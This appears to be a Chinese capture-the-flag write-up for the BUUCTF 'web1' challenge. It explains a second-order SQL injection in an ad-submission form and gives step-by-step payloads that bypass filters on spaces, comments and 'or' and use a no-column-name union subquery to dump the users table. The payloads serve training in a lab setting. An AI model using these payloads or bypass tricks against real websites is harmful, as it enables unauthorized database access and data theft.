zoukankan      html  css  js  c++  java
  • BUUCTF-web web1 (无列名注入)

    注册并登录后发现,sql注入,注入点在广告申请的界面。加单引号发现报错

    先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入。

    常见报错函数updatexml,floor以及extractvalue被过滤

    注释符被过滤因此要闭合单引号

    空格被过滤,不过可以用/**/绕过。

    or被过滤所以order和infor都不能用。

    首先使用group代替order

     查字段数:1'/**/group/**/by/**/23,'1-->报错。1'/**/group/**/by/**/22,'1-->无报错。有22个字段。

    查表名:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22。2和3有回显

    构造1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    mysql.innodb_table_stats参考链接:https://www.anquanke.com/post/id/193512

    得到表名users

    在不知道列名以及不能使用information_schema的情况下,利用子查询进行无列名注入。简要概括就是利用union select用字符替代相应的列名

    最终payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    这里的as x 是必须的FROM 部分中的每一个表都必须有一个名字,在子查询中 SELECT 的每一列都必须有一个独一无二的名字。


    无列名注入参考链接:https://y4er.com/post/no-column-name-injection/

    https://blog.csdn.net/cao478208248/article/details/28122113

  • 相关阅读:
    Lucene
    coreseek
    Sphinx学习之sphinx的安装篇
    在Hive中使用Avro
    Hive中实现group concat功能(不用udf)
    Fresnel Reflection
    安装Windows更新程序遇到错误:0x80070422
    float4与half4数据类型
    Dijkstra算法(三)之 Java详解
    地图四叉树一般用在GIS中,在游戏寻路中2D游戏中一般用2维数组就够了
  • 原文地址:https://www.cnblogs.com/remon535/p/12859438.html
Copyright © 2011-2022 走看看